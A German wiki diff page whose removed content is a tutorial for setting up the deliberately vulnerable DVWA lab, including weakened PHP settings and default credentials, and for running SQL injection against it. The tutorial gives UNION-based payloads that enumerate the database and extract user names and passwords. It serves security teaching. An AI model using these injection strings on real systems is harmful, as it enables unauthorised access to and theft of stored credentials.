Apache / Php / Mysql: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(6 dazwischenliegende Versionen von 2 Benutzern werden nicht angezeigt)
Zeile 1: Zeile 1:
=DVWA - Damn Vulnerable Web App=
+
*[[Sql-Injection]]
==Voraussetzungen==
 
*Apache, Mysql, installiert
 
apt-get install apache2 mysql-server
 
*php < 7.0 muss installiert sein
 
Ubuntu 16.04:
 
sudo add-apt-repository ppa:ondrej/php
 
apt-get update
 
apt-get install php5.6 php5.6-mysql php5.6-gd
 
php -v
 
==Installation DVWA==
 
*Nach dem Download Entpacken und Verschieben ins DocumentRoot
 
unzip DVWA-master.zip
 
mv DVWA-master /var/www/html/dvwa
 
*cd /var/www/html/dvwa/
 
*cp config/config.inc.php.dist config/config.inc.php
 
*vi config
 
*Anpassen der Konfiguration dvwa:
 
vi config/config.inc.php:
 
$_DVWA[ 'db_password' ] = 'das_vergebene_passwort';
 
 
 
Falls das Insecure Captcha Modul benutzt werden soll:
 
$_DVWA[ 'recaptcha_public_key = ''
 
$_DVWA[ 'recaptcha_private_key = ''
 
 
Die Werte für die beiden Optionen müssen zuerst generiert werden (ein google Account ist Voraussetzung): https://www.google.com/recaptcha/admin/create
 
*Anpassen der php Konfiguration:
 
vi /etc/php/5.6/apache2/php.ini
 
allow_url_include = on
 
allow_url_fopen = on
 
safe_mode = off
 
magic_quotes_gpc = off (fuer php <= 5.4)
 
 
 
service apache2 restart
 
*Anpassen der Verzeichnisrechte:
 
chown www-data hackable/uploads/
 
chown www-data external/phpids/0.6/lib/IDS/tmp/phpids_log.txt
 
*Anpassen der .htaccess Datei
 
vi .htaccess
 
 
 
<IfModule mod_php5.c>
 
  php_flag magic_quotes_gpc Off
 
  #php_flag allow_url_fopen on
 
  #php_flag allow_url_include on
 
</IfModule>
 
ersetzen durch:
 
<IfModule mod_php5.c>
 
    magic_quotes_gpc = Off
 
    allow_url_fopen = On
 
    allow_url_include = On
 
</IfModule>
 
 
 
*Aufruf von http://127.0.0.1/dvwa/setup.php - Create / Reset Database
 
*Einloggen mit Default Zugangsdaten
 
Username: admin
 
Passwort: password
 
 
 
Direkt nach der Installation ist die Anwendung 'sicher' eingestellt. Das Sicherheitslevel kann unter DVWA Security angepasst werden.
 
 
 
==SQL Injection mit DVWA==
 
*Sicherheitslevel low
 
*SQL Injection aufrufen und in Textbox '1' eingeben::
 
 
 
Ausgabe von ID, Vorname und Nachname
 
 
 
SQL Abfrage auf der Datenbank:
 
SELECT first_name, last_name FROM users WHERE user_id = '1'
 
 
 
Ziel ist es durch die Benutzereingabe Code einzufügen, der vom Datenbanksystem ausgeführt wird.
 
 
 
*Eingabe von %' or '0'='0 in Textbox
 
-> Augabe aller User
 
*Eingabe von %' or 0=0 union select null, version() # in Textbox
 
-> Ausgabe der Version ganz unten
 
*Eingabe von %' or 0=0 union select null, user() # in Textbox
 
-> Ausgabe des Db Benutzers der die Abfragen durchführt
 
* Eingabe von %' or 0=0 union select null, database() # in Textbox
 
-> Ausgabe der aktuellen Datenbank
 
* Eingabe von %' or 0=0 union select null, table_name from information_schema.tables where table_name like 'user%' # in Textbox
 
-> Ausgabe aller Tabellen die mit user beginnen
 
*%' or 0=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
 
-> Ausgabe aller Felder in der Tabelle users
 
<br>0x0a: Zeilenumbruch
 
* %' or 0=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
 
-> Ausgabe der Benutzer und Passwoerter
 

Aktuelle Version vom 7. Oktober 2020, 17:22 Uhr